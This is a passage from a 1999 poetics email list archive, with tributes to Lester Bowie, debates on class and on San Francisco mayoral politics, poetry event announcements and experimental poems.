Sorry to pass along such sad news -- Bowie was, most famously, trumpeter for the Art Ensemble of Chicago, as well as many fine bands of his own, including the Brass Fantasy. Along with fellow Chicagoans Sun Ra and Anthony Braxton (and of course the rest of the Art Ensemble), and in a very different way perhaps Cecil Taylor, he was for me a primary energy source for bringing into being a deep and broad way of thinking, hearing and seeing the African-American creative music tradition as a model poetics for performance of all kinds: beginning in sound, outward through theater, into modes of social action, often as far as planetary history and cosmology.

Check out live recordings of the Art Ensemble like _Bap-Tizum_, or the more recent studio collaboration with Cecil Taylor , _Dreaming of the Masters_, on and around Monk compositions, for a sense of how simultaneously various and focused, how both "out on the edge" and thoroughly humane his music could be. I never met him except to shake his hand after a concert, but I'll miss him nonetheless.

Taylor

From: [redacted] [mailto:[redacted]] On Behalf Of [redacted]
Sent: Tuesday, November 09, 1999 6:03 PM
To: [redacted]
Subject: Lester Left Town

With great sadness
I share the news that
Lester Bowie died last night.

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227. Arielle C. Greenberg
Re: earliest american poem
Wed 10 Nov 1999

I loved Dan Zimmerman's poem excerpted below. I've also got a grant application out to do something with the whole "Croatoan" thing this summer...very interested in the story of the Lost Colonists as an excellent way to explore ephemera, the nature of disapperance, fragment, contradiction, myth, through poetry...so I was very excited to see it mentioned on this list as a possible "earliest American poem." I'd love to know if other people have done stuff with Roanoke Isl., or just have thoughts about it...

Arielle

On Mon, 8 Nov 1999, Daniel Zimmerman wrote:

> *How about the Lenni-Lenape _Walum Olum_?*
>
> *Or the one-word message carved in a tree by the lost Roanoke colony: "Croatoan"? ["a cartoon"/"at corona"?]*

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228. Lawrence Upton
SVP News
Wed 10 Nov 1999

---

1 - SVP WEBSITE URL

The Sub Voicive Poetry website URL has been changed by the server space provider.
It is now
http://matrix.crosswinds.net/members/~subvoicivepoetry/

2 - SVP WEBSITE UPDATING

Unfortunately, it is still not possible to access the server to update the website; there is nothing incorrect there yet, but it's all slightly out of date.

3 - FOURTH SUB VOICIVE COLLOQUIUM

The Fourth Sub Voicive Colloquium will be held in London on 20th May 2000 between 10 a.m. and 6 p.m. Please make a note in your diaries: I hope that many of you will attend.

It is more than likely that there will be related readings just before or after the colloquium, especially to take advantage of the presence in London of poets from some distance away

Further announcements will be made when the colloquium committee has discussed the proposals received so far.

An updated webpage will be prepared and, hopefully, will be publishable at the EPC conference page at least, if not at the SVP website

SVP: http://matrix.crosswinds.net/members/~subvoicivepoetry/ Lawrence Upton: http://members.spree.com/sip/lizard/index.htm RWC: http://members.tripod.com/~ReadandWrite/contents.html Writers Forum: http://www2.crosswinds.net/members/~writersforum/

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229. **Taylor Brady**
Re: Ammiano for Mayor (SF)
Wed 10 Nov 1999

I'm very sorry to have posted from the perspective of a writer whose poetry and thinking about poetics are rooted in a world, many of the events of which are not primarily -- or not at all -- concerned with "providing metaphors for your poetry," like so many insubstantial spirits swirling obediently round the Yeatses. I promise henceforth to keep that thought and those roots in the world, and only make note of them in this space when it's a matter of their scansion.

Onanistically yours,
Taylor

From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Brent Long
Sent: Tuesday, November 09, 1999 11:03 AM
To: [redacted]
Subject: Re: Ammiano for Mayor (SF)

List,

Can somebody please explain to me what the political candidates in SF have to do with poetics in Boston, or anywhere for that matter? If I want to hear candidates be plugged by those who support them, I'll just shoot on up to New Hampshire for the primary.

I've been quietly watching some of the threads coming through here regarding the advertising, political debate, and general mental masturbation that the list seems bogged down with lately, but this one really irked me.

Where are the poetics in threads devoted to insult, ego-battles, and mayoral debates? Perhaps I'm missing something...

Brent

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230. **raea100900**
Re: Diane Ward contact
Wed 10 Nov 1999

Dear All,

I can't seem to find an email for Diane Ward (the Diane Ward in L.A.) Does anybody out there have it?

Rae Armantrout

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231. D Wellman
Re: Business, class, access
Wed 10 Nov 1999

... lets take a constructivist approach to the matter of class for a minute; call class a system of economic representations, and consider jeans as a a representation of some sort of relation to the working class. often i have read my poems in public in jeans instead of wool or tweed. most males on the list have probably done that. The point is that wearing jeans represents some sort of desire to cross or erase class lines unless your background is lower class; in which case you might choose finer threads and cross the line the other way, overcompensate. That is something poor people might do who want to make a good showing. Understate that is something that not so poor people might do. Understatement is decidely cool and modern; overcompensating is naive. I find it peronally intolerable that some people wish to rub my naivity in my face. I learned that lesson often growing up. I felt condemned because I could not transcend who I am ((forgive the lurch into auto-ethnography ("auto-ethnography" is an over compensation for "life story"). On the plus-side I learned about resentment and really got into Nietzche. I am not sure that jeans wearing poets of upper-middle class background have a feel for what I mean what I speak of "resentment" in its class-based form as opposed to Derridean 'resentement.' --- so we could argue that posing, by whatever means for whatever reason is part of the human condition. I would think poetry or poetics could acknowledge that somehow ...

Don Wellman

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232. Stephen Vincent
Re: Ammiano for Mayor (SF)
Wed 10 Nov 1999

In a message dated 11/10/99 2:41:57 PM, [redacted] writes:

<< Can somebody please explain to me what the political candidates in SF have

to do with poetics in Boston, or anywhere for that matter? >>

Both candidates support "living wage" contracts (as different from "minimum") for corporations et al doing business with the City of San Francisco. This mutual commitment will undoubtedly draw national media attention. Which will undoubtedly impact discussion of this issue – or make it an issue - in Boston. The question of what is "living" or not is vital to life in the City. Vital to its poets. Its poetics. Vital to the fact of the poem. No economy. Minimum poems. Healthy polis. Healthy argument. Healthy poets.

Cheers,
Stephen Vincent
Citizen, San Francisco

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233. George Bowering
Re: Lester Bowie
Wed 10 Nov 1999

> *The great Lester Bowie has died.*

I hated it when I saw that name in the title. I knew what it wd mean. Lester Bowie one of my great heroes of the sixties when a lot of the people I knew were listening to Jimi Hendrix. I only got to hear him live twice, once in Montreal and Once in Vancouver. But I used to use his records to scare the neighbours. He was a sign to me back then, that you can have fun and the avant garde at the same time, in great doses. We should all be playing our AEC records at 9.5 this week.

George Bowering.

,

fax: [redacted]

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234. Tony Green
Fw: Exhibition: Threads of Humanity
Wed 10 Nov 1999

Forwarded without the long long list of other persons to whom this was sent:

From: Daniel Andreallo Date: Thursday, 11 November 1999 09:18 Subject: Exhibition: Threads of Humanity

I am writing to invite you to contribute a work to the exhibition “Threads of Humanity” that is being organised in collaboration with Amnesty International and the University of Wollongong. The exhibition will focus on the concept of human rights and will be run for the purpose of promoting the inherent dignity of the person, which is embodied in the recognition of the equal and inalienable rights of all members of the human society. The exhibition will be displayed at the Wollongong City Gallery from March to April 2000 and close with an auction dinner.

It seems pertinent that human rights issues remain at the forefront of discussion and social consciousness. The exhibition has been contemplated for some time however spurred into action in response to the atrocities that have

occurred and continue to occur in East Timor and not long before in Kosovo that outraged the Australian community and communities further afield. It is then hoped that the exhibition will not only emphasise the common thread of our human existence but also illuminate the importance and relevance of human rights to our every day situation, which we will carry with us into the new millennium.

The closing date for applications is the 10th of January 2000. Application forms and information about the specific theme of the exhibition are available from the web page listed below:

http://www.uow.edu.au/crearts/events/amnesty.html

I would also like to ask that you forward this information onto other artists that you think may be interested in contribute a work. Your support and assistance will be greatly appreciated. I look forward to your application.

Regards,

Daniel Andreallo,
Curatorial Director,
Amnesty International &
University of Wollongong
Collaborative Project.
39 Buderim Avenue
Kareela 2232
Phone/Fax: 9 [redacted]
Email: [redacted]

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235. Michael Walsh
Re: Ammiano for Mayor (SF)
Wed 10 Nov 1999

Dear Brent,

Have you read any of Ron Silliman's poetry? If you
have, it shouldn't be too hard to figure out why
he thinks we have a stake in politics.

best
Michael Walsh

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236. David Larsen
Re: Business, class, access
Wed 10 Nov 1999

Having no ambition myself to rise so high into ">>>the upper eschelons" of anything as to be unable to resist crapping on people a la Mr. Baratier, I, David Larsen, volunteer myself to serve as this list's spokesperson for lettuce-sorters --and, if need be, to pass your *civil* responses back to them. Believe me, though, they do not take kindly to being used as tropes. Thank you for your attention LRSN

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237. Rebecca Weldon Sithiwong
Virtual democracy
Wed 10 Nov 1999

Thank you Murat. I agree that this debate is ridiculous and, basically, meaningless. I can't remember when I first subscribed, but, I still remain the only subscriber in Thailand. In fact, I have passed the list information to several Thai poets who are connected and litterate in English, but, the list doesn't appeal to them.

I do, sometimes, wonder why it appeals to me. I cannot attend the poetry events announced here. My participation is currently limited to reading the list; I haven't posted to the list for a long time. Experience has made me reticent. I have not read and will not read many of the works under discussion here. I do not know even one member of the list. I am unknown; I do not publish. I am not affiliated with an educational institution or any group known to any member of this list. So, why do I subscribe?

Because of this: I struggle in order to retain my right to write. I hoard my physical and psychic resources so that I may have a room in which to write and words to put on the paper in front of me in that room. My income is $800 per month. With that amount of money I raise my three children, tend my garden, enjoy my friends and maintain an internet account. I am not poor. I am rich because I make my circumstances work for me, because, despite everything, I keep my mind alive and am able to write.

I like being in the company of other writers. I like the depth of observation, the petty squabbles, the vanity, the beauty and the basic truth of what we are. That, for me, is poetry. And that is why I am here at Poetics.

↑ Index

238. **Alan Sondheim**

s k y w o m e n

Wed 10 Nov 1999

=-

s k y w o m e n

i s i t a n y c o i n c i d e n c e
t h a t a d a m , a d a m a i n h e b r e w ;
t h a t h o m o , h u m u s i n
f r e n c h , t h a t a l m o s t i d e n t i c a l
k a n j i i n j a p a n e s e ,
r e f e r e n c e m a n a n d e a r t h ,
t o t h a t e x t e n t w e ' r e m a d e
f r o m d i r t , d i r t c o m e s
i n t o o u r m o u t h s a n d c o m e s i n t o o u r
m o u t h s . i s a y t o y o u : i t i s n o t
s u c h a c o i n c i d e n c e ,
t h e r e i s t o o m u c h m e a n i n g , t o o
m u c h i n v o l v e d . i w a n t t h e
r e l a t i o n s h i p g l o s s a n d g l a s s ,
t h e d e r r i d e a n r e l a t i o n
e x t e n d i n g t o s i l i c o n s a n d
m u l t i p l e c o n n e c t i v i t i e s .
i n s t e a d o f m o u t h s :
h a n d s , a n d i n s t e a d o f m e n ,
t h o s e e n t i t i e s o f a n y g e n d e r
w h o s e g l o s s
c r o s s e s t e x t i n t o g l a s s .
f o r t h e m e n o f a l l a r e d e a d
w i t h e a r t h , a n d a n d r o g y n e s
a r e p e r f e c t b e a u t i e s
d e e p w i t h i n t h e w o r l d .

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239. **Dodie Bellamy**

Re: Business, class, access

Wed 10 Nov 1999

At 5:21 PM -0500 11/9/99, Jill Stengel wrote:
>after reading david baratier's recent post in response to kathy lou schultz's

>response to him (etc),
>
>i am left with this thought that is glaring in my head, hard to shut off,
>shove away. so i'll just go ahead and say it. even tho it's obvious...
>
>the experience of class is different for women and men, as women also have to
>contend with sexism, men do not.
>

I've been keeping out of this class discussion, but I think saying that implying that women have it worse than men on the class-prejudice scale is an unnecessary essentialism--and it is contrary to my experience. As much as I bitch and moan about class prejudice, I've always felt that working class guys had a harder time assimilating into the middle class poetry world I've known. I've seen a couple nearly destroyed by it. Find it interesting, for instance, when Michael Amnasan talks of his lack of social power as a construction worker in a middle class writing world as a feminization.

Class has come up repeatedly in one of my undergraduate classes since one woman has been writing about "whiteness." And, of course, I suggested that she needed to refine what is whiteness and what is upper-middleclassness (the world she was raised in which she is writing about). As a child she had a hispanic housekeeper/nanny who fed her tacos--but beyond that, I asked what would be different about that power dynamic if the housekeeper was white (my mother worked as a janitor, so a white housekeeper wasn't a big leap of imagination for me), what specifically did the racial variable contribute.

The one chicana in the (all female) class wrote a piece which touched on being a minority student in a predominately white school. She only once mentioned being chicana and others' reactions to that. The rest of the piece was humorous stuff about studying and being tired all the time and boys and bad dorm food, etc.--and many references to not having enough money to do things, not having various forms of access. I complimented her on the political subtext of the piece. And the girl who is writing about whiteness said, "What political stuff is in here, except this one reference (directly about being chicana)." Race could be seen, but class issues were invisible. This resonates for me with a lot of what goes on on this list and elsewhere.

Dodie

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240. miekal and
Re: FW: Lester Left Town
Wed 10 Nov 1999

---

lester bop
lester blow
lester skronk
lester crow
lester come
lester go

↑ Index

241. miekal and
sawtooth wave decline [alan'swords]
Thu 11 Nov 1999

---

wzehyrantna imanopagun lraleunag hur'rwee aebth,e rtawac stuff ool, the of
imanopagun lraleunag dffirous mtyllfu bd,blr azure ouff mop is
lraleunag bckdieaf beneath bd,blr usatg ani- it, in
bckdieaf lleraze holes, where full him ra
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he

finally got my page up at the EPC, some of the links have to be repaired but its a good start.

mIEKAL aND
http://writing.upenn.edu/epc/authors/and/

↑ Index

242. Owen Hill
Ammiano for Mayor
Thu 11 Nov 1999

Hello List

I'd like to thank Ron for his little report on the SF mayoral campaign.

I know it wasn't about poetics, but politics are discussed here all the time.

This race should be of interest to everyone. C'mon! An openly gay "Marxist" has the chance to be mayor of a large city. Important stuff!

This election could send a gust of fresh, clean Bay Area air across the country. It may even be felt in stuffy old Boston.

All Best

Owen in Berkeley, Ca.

↑ Index

243. rebecca wolff
Fence #4
Thu 11 Nov 1999

Fence #4
Volume II, no. 2
Fall/Winter '99-'00

POEMS by John Ashbery, Gillian Conoley, Ange Mlinko, Reginald Shepherd, Timothy Liu, Diane Wald, Marcin Swietlicki, Linh Dinh, Matthew Lippman,

Kevin Young, Amy Gerstler, Martine Bellen, Suzanne Wise, Michael Burkard, Deborah Tall, Standard Schaefer, Harryette Mullen, Kevin Killian, Jean Donnelly, Devin Johnston, Beth Murray, Sam Witt, Stacy Doris, Duane Esposito, Tessa Rumsey

A special section of GHOST STORIES by Laura Mullen, Clark Coolidge, Peter Straub, Cole Swensen, and Kenward Elmslie

FICTION by Aimee Bender, Robert Coover, Christopher Sorrentino

and featuring episodes from "Dreams of a Rarebit Fiend," by turn-of-the-other-century cartoonic genius Winsor McCay

Now available at your local independent bookstore or your big chain bookstore too
Or order directly from our website: www.fencemag.com

Please contact me with any questions

↑ Index

244. Ron Silliman
Brent Long's question
Thu 11 Nov 1999

Brent Long asks a good question:
Can somebody please explain to me what the political candidates in SF have to do with poetics in Boston, or anywhere for that matter?

The answer Brent is, first, that the politics of SF has a direct bearing on the ability of poets, especially younger ones with fewer economic resources, to live and work there. The cost of renting a room in SF today is 20X what it was when I moved there in 1972 and the quality of housing you get for that is much much worse. In order to stay there, one has to work a serious gig -- none of this "take a year" and hang out sort of stuff that enabled me to write Tjanting or to edit In the American Tree. The economics of the Bay Area have had a lot to do with the diaspora of poets from that community over the past two decades. A lot of people on this list can attest to that.

The health of the Bay Area poetry scene matters to us all. The Bay Area has long had a direct poetic connection to Boston. Weiners' Hotel Wentley Poems were written at what are now the Polk/Sutter Apartments in SF. 707 Scott Street is another SF address. SF poets have been going to, and gaining from, the Boston scene since at least the 1950s.

The final answer is that when a good progressive gets into office, it offers hope and possibility for us all. Tom Ammiano will be the most progressive mayor in the nation if he gets elected. That doesn't mean that I will agree with

everything he does, but like Paul Wellstone's senatorship in Minnesota, I will benefit directly here in Paoli, PA. And I wish that Harvey Gantt had beaten Jesse Helms as well.

Yesterday's SF Chronicle noted that Ammiano will benefit from the fact that in California the homeless can vote.

Ron

Call [redacted] or e-mail [redacted] to volunteer and help make history.

If you would like to make a contribution, send a check made payable to "Tom Ammiano For Mayor" to:
Ammiano for Mayor
125 Upper Terrace
San Francisco, CA 94117
(if donation is $100 or greater,
specify your occupation & employer)

FPPC ID # 990924

Ron Silliman

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

245. **Lowther, John**
Re: Lester Left Town
Thu 11 Nov 1999

{ p o e t i x }

[in madison wisconsin winter] i was driving it was dark i was on that street by the black bear (now closed) and looking to find parking a few blocks up but the lights were red and a bit of slow traffic and the snow falling and thick on the ground from days before and foggy windows etc etc and

this horn came on the radio i dunno what station maybe public radio maybe WORT and it was all over me and i lost my hurry and it was exceedingly vocalized and talkative in it's blows and nothing around it just his horn and someone honked as i'd forgot the green light and i rode on slowly

listening and found a parking space easy and sat there wondering who it wd be and the song ended and one heard the live audience cheering and the announcer said Lester Bowie and i wanted to play a horn with a hat or a plunger abnd walked past a music store and cold stood and looked in the window

)ohn

↑ Index

246. Mark Prejsnar
great expectations
Thu 11 Nov 1999

"ok: if i aspire, say, to $60K per annum (among other aspirations) i probably better figure on doing something besides just writing poetry, right?...

(oh hey---i'm not ashamed to say i aspire to $60K/yr either, anymore than
i
am of aspiring to write poetry)..."

****

Indeed, Joe, i think it does a nice job of locating us poet types in the overall culture, that 60,000 does as an abreviated expressions for, "a lot of money." Dip into the NY Times, say, any publication whose viewpoint is essentially that of the business class, and one soon finds that they consider 60 a pretty measley income.... One of the many things that makes reading the Times such a peculiar, disorienting experience...

↑ Index

247. Lowther, John
geometric rather than
Thu 11 Nov 1999

...simply additive effect.

{ p o e t i x }

jill stengel writes;

"it's great for you that you haven't found it
> to be so, but by saying it's not true
for others, it ignores/erases the efforts
> people make every day to "overcome,"
or simply live with, what they/i/we/you
> (am)are faced with (...) desire to overcome
or integrate, live with, these obstacles
> has to be very strong. (and sometimes
the will is still not enough.)"

and i like that someone
leapt in with further reasonableness

But i'm nowhere myself, thinking about
class... always getting bogged down in
some fog where when i start reaching out
trying to get a grip on class as it relates
to me i end-up w/ many particulars that
seem less part of any demarcated unit
and more points some almost arbitrary
and others determined on an unfixed number
of continua

someone told me something and i heard it
as follows "definitions are like machetes
theyre useful when you have to hack thru
a tangled space" but like jill i think that it's
better to know what i'm dealing with (to try to
obviously) and "naming helps to define, clarify."

and maybe that's why class gives me trouble

but joe amato is eloquent on the subject
and reasonable as well "a bit less skepticism
and a bit more goodwill might have produced
some insights, and might have drawn (some
of) us a bit closer together in the process, if
only for a moment..."

which leads back to What is This List For
and i can hear my boss talking in the hall
time to nip this...

↑ Index

248. **Jill Stengel**

Re: Ammiano for Mayor (SF)

Thu 11 Nov 1999

---

dear brent, dear list, as the list discusses political issues, and as politics certainly involves us all (think NEA, for example) a write-in candidate's stunning achievement certainly is a "poetic" topic. this write-in candidacy, done with little money and in a short amount of time, has shown that it doesn't take millions of dollars to garner popular public opinion, that it doesn't take major-party affiliation to have public support, and that change CAN exist, even in the pretty stale political system we have in the u.s. from here, at the end of the 20th century, it appears to many that nothing ever changes in the world of politics. well, here is something unusual, someone who truly beat the odds and shook things up. even if ammiano doesn't win the mayoral run-off election on dec 14,

he has stirred up politics in a most amazing way. if you are still wondering what this means to poetics, think civil liberties. think power of an individual to make change. think momentum. think. american politics just got a kick in the ass--how can it not be relevant to all? jill stengel

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249. **Todd Nettleton**
Love a good mystery?
Thu 11 Nov 1999

Try this one:

http://members.aol.com/justicewrtr/justice4all/main.htm
<http://members.aol.com/justicewrtr/justice4all/main.htm>

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250. **Lowther, John**
Weekend in New Orleans (part 3)
Thu 11 Nov 1999

{ p o e t i x }

READING

joy lahey read and i was struck by the careful way she spoke and the craft of her work ---- this impression now overlaying my brief looks at the chapbook of hers that randy brought back ---- and i saw her at the maple leaf bar for the sunday martin/di michele event and reached into my pocket to snag one of the cards i printed up to take along (the vast majority of which i ended up hiding in bill lavender's house to amuse myself sunday slight hungover morning) and ..nothing.. all my careful planning, a card with my name and mag info and email and all that (the perfect networking tool) and i'd packed them the one time when i finally wanted one for something --- in her chapbook she uses a spelling "misisipi"

skip fox read and it was good and had a sinuous punch to it ---- then he got caught on "permeability" i think it was and tried it 3 or so times and said "well i just won't say that one" and went on and it never even felt like an interruption really and i reading his chapbook _wallet_ i like the way that the pieces unwind, primarily in sentences within a prose block frame ---- i have questions about the locus of it all but that was the fun of talking to skip in the noisy dark room during the party (see previous)

randy prunty read but when bill announced him he chose that moment to respond to randy's othersense experiment in the symposium that afternoon, his

assignment was to monitor his pulse and watch for interaction between it and the poem - i forget what he said but randy read great --- once i thought he was thirsty ---- three poems and the middle one quite the tongue twister too but he was cool calm etc during

alex rawls read long curly hair deep voice man read something called "1969 OK" and i got it but i don't know how many others did and he read from his desk calendar (blotter style) where he's working out a poem a day using horoscope books and other materials ---- if i remember correctly he read us some selections from november ---- i liked him talking later on the back porch at bill's must keep an eye out for his work tho as i don't think i've seen any on paper

LOCAL COLOR

lunch at liuzza's (lee ooz za's, if i remember correctly) and the wait staff (seemingly mostly relatives) had what we were told is a very new orleans accent which sounded kinda brooklyn but with an occasional lilt to curl at the end of words that distinguished it ----- beer in frosted fishbowl type mugs oozing beer ice all over the table ---- great onion rings and randy ordered (i thought about it) the fried pickles which were pickle chips battered and deep fried which we then devoured in ketchup mixed with pepper sauce ---- my eggplant poboy left something to be desired but vegetarians learn to survive on fries while travelling and onions rings are a vegetable same as ketchup

i saw a surprising number of young children dancing on sidewalks etc

i'm told that there are wild parrots well settled in new orleans and looked for them but never saw any

BERNADETTE

had been riding around with camille i think it was and they were going someplace in new orleans and the address struck bernadette as ideal "where the elysian fields meet the mississippi river"

her laughing

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251. Poetry Project

next week at the Poetry Project

Thu 11 Nov 1999

Upcoming

Monday, November 15 at 8 pm

Catherine Wagner & Roberto Tejada

Born in Rangoon, Burma, Catherine Wagner just published a new chapbook, _Fraction Anthems_, with 811 Press. Excerpt: "P his foot/O my blue snub/E knee weekend/thumbnail/hand M/foot 'I work')Lamp/-10:30 Sat morn-/'it's sugar day"

Roberto Tejada is the editor of _Mandorla: New Writings from the Americas_ and the author of _Gift + Verdict_, just published by Leroy Books. His poems appear in this month's issue of Poets & Poems, on the Poetry Project web site at http://www.poetryproject.com/tejada.html.

Wednesday, November 17 at 8 pm

An evening of words & music with poet-performer-musicians Rebecca Moore & R.B. Morris

Rebecca Moore has worked for the last 20 years in the realms of experimental performance and dance through songwriting, singing, acting, directing and writing. Her next CD is due out this winter from the Knitting Factory. Hailing from Nashville, Tennessee, R.B. Morris just released his newest CD, Zeke and the Wheel, from Koch Records. This will be his first performance at the Poetry Project.

No Friday Night Events until December 3rd, when LYDIA LUNCH & NICOLE BLACKMAN will read. More on this special event soon!

*****

The Poetry Project is located in St. Mark's Church
at the corner of 2nd Ave. & 10th St. in Manhattan.
The Project is wheelchair-accessible with
assistance. Please call in advance: [redacted].
Admission is $7; $4 for students & seniors
No advance tickets. Program is subject to change.

*****

If you would like to be removed from this e-mail list, respond to this e-mail with the subject line: "please remove me."

*****

Roberto Tejada, from FLATLANDS:

"...shall we gather at a grandeur
hushed by degradation and pointlessness

at odds with each other in the desolate stretches
of this smoldering kingdom devoid of

redemption? Well, except for the low poorly-drained strip of land along the Gulf, the place rolling and fertile, the delta a broad flat region planted in soybeans and cotton from Woodall mountain to the Gulf of Mexico, the point being where exactly in 1541 near Sunflower Landing

HernandodeSotosawtheGreatRiver"

*****

↑ Index

252. **Catherine Daly**
Re: B+C+A & littoral
Thu 11 Nov 1999

What happened to the Littoral info on the LA Books site? Todd, do you know?

Also, I was reminded -- by the forklift poem -- to ask the list: anyone know of note-type poems, poem notes, etc. that someone's made ("taken"?) on the job and published?

I'm curious, and take notes, usually transcribing them eventually, tried the dictaphone, which is really an odd 1) name for something, 2) led me to have tiny little tapes everywhere that I won't transcribe since it reminds me too much of that period I digested dispositions & did medical transcription.

These notes -- it can be interesting -- of course they are naturally fragmentary, but also on transcribing, I tend to glom initially unrelated notes together into a poem, with larger "leaps" than usual. Also, I am constantly paying attention to whether something that "occurs to me" belongs to a "poem" or something else. I write down essay ideas, business ideas, to do's, etc., as many have done work on including in poems. I don't put these in the poems but they do "occur" to me in the same way.

Regards,
Catherine Daly
[redacted]

↑ Index

253. **Nielsen, Aldon**
Re: Business, class, access
Thu 11 Nov 1999

At 07:26 PM 11/9/99 +0000, you wrote:
>During this recent discussion on class I have been accused
>of being a "victim" of "making excuses" and of being "a

>spokesperson for persons who sort lettuce." That these are
>all personal attacks is significant, as well as tiresome.

It would seem that Kathy was being insufficiently a victim -- and thus becomes a target of victimization --

This _does_ have something to do with poetics --

"victim" L _victima_; akin to OHG _wih_ holy, Skt _vinakti_ he sets apart

The rhetoric of setting apart -- a good description for the responses to the issues Kathy raises

↑ Index

254. Lowther, John
Weekend in New Orleans (part 4)
Thu 11 Nov 1999

{ p o e t i x }

i fubbed a couple of names earlier, bernadette's traveling companion is phillip good --- somebody punned him with "feel good" said he should have been a doctor ---- and camille's partner is john clark(e) who is a philosopher (environmental ethics etc) who also wrote the surregionalist manifesto (i may be blowing the title he handed a copy to di michele and i didnt look at it) which is something of a platform for the magazine mesechabe ---- and i'd like a look at the manifesto as i don't really have much sense of what this surregionalism stuff is about save the hints registered in the poets (say andy di michele) of.. well.. you know... surrealism and regionalism

i came away from there thinking that the locals seem much more conscious of the distinctions of local accents and idioms --- several times i heard of how some who live near the street Clio cal it "C.L. 10" presumably from the streetsign --- and this is a series of streets named for the muses ---- and i noted that bill would say a name one way and then a minute or two later say it differently (this was especially striking when he introduced bernadette as 1st he said what i was say as "mayor" then when he exited the stage for her he said it as i wd say "mire" (but with a dipthonginess in the middle)

dennis formento's reading and several others made use of local accents whether by intent or as "carrier waves" and i noted that for a number of folks there in n.o. that the reading of poem was accentuated by a more enegetic verbal preformance as opposed to say... i dunno, something specific to the poem on the page, sound qualities of the words chosen perhaps

i caught a number of religious notes in the course of the readings as well which surprised me initially --- a poem titled "prayer" i believe and ref to "god" in several poems read

i'm trying to imagine a continuum of connectedness to disjunctiveness --- trying to plot out a few folks on that and see what it suggests... but it's rather difficult, idiosyncratic and based here on guesses in memories of a busy day, nonetheless, it felt to me that the new orleans local crowd tended more toward connectedness which is not to say that if you scratch at one of bill's or camille's poem you won't find it splicy but at the least that theyre respective reading styles don't foreground that aspect and instead seem to pull thing forward in a flow ---- joel dailey's stuff was disjunctive between sentance units (at least i think that's what i was hearing) but the sentences themselves seems pretty well connnecte, explicit etc ---- there were other locals who's readings struck me as remarkably connected (joy lahey perhaps)... REMEMBER PLEASE there is no value assignment here, just an observation ...on the more disjunctive end there were more out-of-towners andy di michele, randy prunty and myself i think ---- this undoubtedly due in large part to what we chose to read

there's a lot of stuff i've only skimmed in these reports buti thnk i'll lay off now unless i'm reminded of something particularly interesting

(thanx to all who've sent me positive messages about these posts --- i'd be curious about what's happening around you...)ohn

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255. Susan Vanderborg
MLA panel on "The Performed Text"
Thu 11 Nov 1999

A MLA convention panel on "The Performed Text: Toward a Post-Poetics for the New Millennium" that might be of interest to some of your subscribers has been listed incorrectly in the MLA convention program.

The correct date and time for session 455 should be:

Tuesday, December 28th, 8:30-9:45, the Burnham room in the Hyatt Regency hotel.

(Right now it is listed incorrectly at that same time but on Wed. 29th)

The session features Michael Davidson's discussion of the gestural performances of Aaron Williamson and other deaf poets, Ming-Qian Ma's study of visual and acoustic topography in Christian Bok's Crystallography, and Susan Vanderborg's discussion of Cells of Release by visual artist Fiona Templeton.

There will be a signing interpreter at the panel.

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256. Alan Sondheim
(no subject)
Thu 11 Nov 1999

/
/

|_|_| Trikon Trisula SVATANTAMRTA-BIJA-SYA SVATANTAMRTA-BIJA-SYAMU SVATAN- TAMRTA-BIJA-SYAMUM TAMRTA-BIJA-SISMULA TAMRTA-BIJA-SISMULASVA-TANTAMRTA- BIJA-SYAMUM TAMRTA-BIJA-SISMULA JMULMU BICVISARGAIYAMANDMU PAMRTA-BIJA- SICVISARGAIYAMAMTAMRTA-BIJA-SISMULAAMRTA-BIJA-SDICVISARGAI-YAMASVATANTA- MRTA-BIJA-SYAL JENNICVISARGAIYAMAFEAMRTA-BIJA-S VICVISARGAI-YAMASSVATANTA-MRTA-BIJA-SYAAMRTA-BIJA-SGSVATANTAMRTA-BIJA-SYA EMICVISARG-AIYAMASSTAMRTA- BIJA-SISMULAN |_|_| Trikon Trisula A AU AUM O OAUM O JULU BINDU PRIMORDIAL JENNIFER VISARGA EMISSON | | |
|__|__|

|_|

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257. Lawrence Upton
(no subject)
Fri 12 Nov 1999

Writers Forum announces 2 more in the DAN series

FREE GIFT 0 86162 907 8
klinker 0 86162 906 x

Both published yesterday and performed at Klinker last night - Cobbing and Upton voice, J Pike movement and projector abuse

See website for details of getting stuff

L SVP: http://matrix.crosswinds.net/members/~subvoicivepoetry/ Lawrence Upton: http://members.spree.com/sip/lizard/index.htm RWC: http://members.tripod.com/~ReadandWrite/contents.html Writers Forum: http://www2.crosswinds.net/members/~writersforum/ SVP / WF website update impossible at present

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258. Poetics List Administration

POETICS: approval required (E653424A)

Fri 12 Nov 1999

--On Friday, November 12, 1999, 1:45 AM -0500 "L-Soft list server at University at Buffalo (1.8d)" <[redacted]> wrote:

This message was originally submitted by [redacted] to the POETICS list
at LISTSERV.ACSU.BUFFALO.EDU. You can approve it using the "OK" mechanism,
ignore it, or repost an edited copy. The message will expire automatically and
you do not need to do anything if you just want to discard it. Please refer to
the list owner's guide if you are not familiar with the "OK" mechanism; these
instructions are being kept purposefully short for your convenience in
processing large numbers of messages.

Northern Westchester Center for the Arts
272 N. Bedford Road
Mt. Kisco, NY 10549
[redacted]
nwcaonline.org

CREATIVE ARTS CAFÉ POETRY SERIES
Presents
Award Winning Poet
Billy Collins
To read or HEAR Billy's poetry check out:
http://www.bigsnap.com/poems.html

Monday, Nov. 15th at 7:30 PM

Billy Collins, the award winning poet, has been a favorite among Westchester residents for years. Highly respected by his literary peers, his readings are well attended by students, teachers and fellow poets who enjoy his artful poetic wit, intelligence and insight. Following the reading there will be a reception and a book signing. After the reception, an OPEN MIKE FOR POETS in the audience will follow until 9:45 PM. Suggested donation is $7.00.

Billy Collins is the author of six books of poetry including Picnic, Lightning (University of Pittsburgh Press, 1998), The Art of Drowning, (University of Pittsburgh Press, 1995) , The Apple That Astonished Paris, (University of

Arkansas Press, 1988), and Questions about Angels (William Morrow & Co., 1991), which was selected by Edward Hirsch for the National Poetry Series. The recipient of numerous awards and fellowships, he has been featured in The Pushcart Prize Anthology and The Best American Poetry for 1992, 1993 and 1997. He was chosen by the New York public Library to serve as “Literary Lion.” He is a professor at Lehman College and a visiting writer at Sarah Lawrence. He lives in Northern Westchester County, NY. This series is supported, in part, by the New York State Council on the Arts, the Bydale Foundation and Private Funds.

The reading is located at the Creative Arts Cafe Poetry Series at the Northern Westchester Center for the Arts at 272 N. Bedford Road Mt. Kisc, NY 10549. Easily reached by railroad or by car. Call for directions: [redacted] ext 17.

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259. Philip Nikolayev
Re: class, gender etc.
Fri 12 Nov 1999

>Like in Russia a native of Moscow coming to St. Petersburg is automatically moving
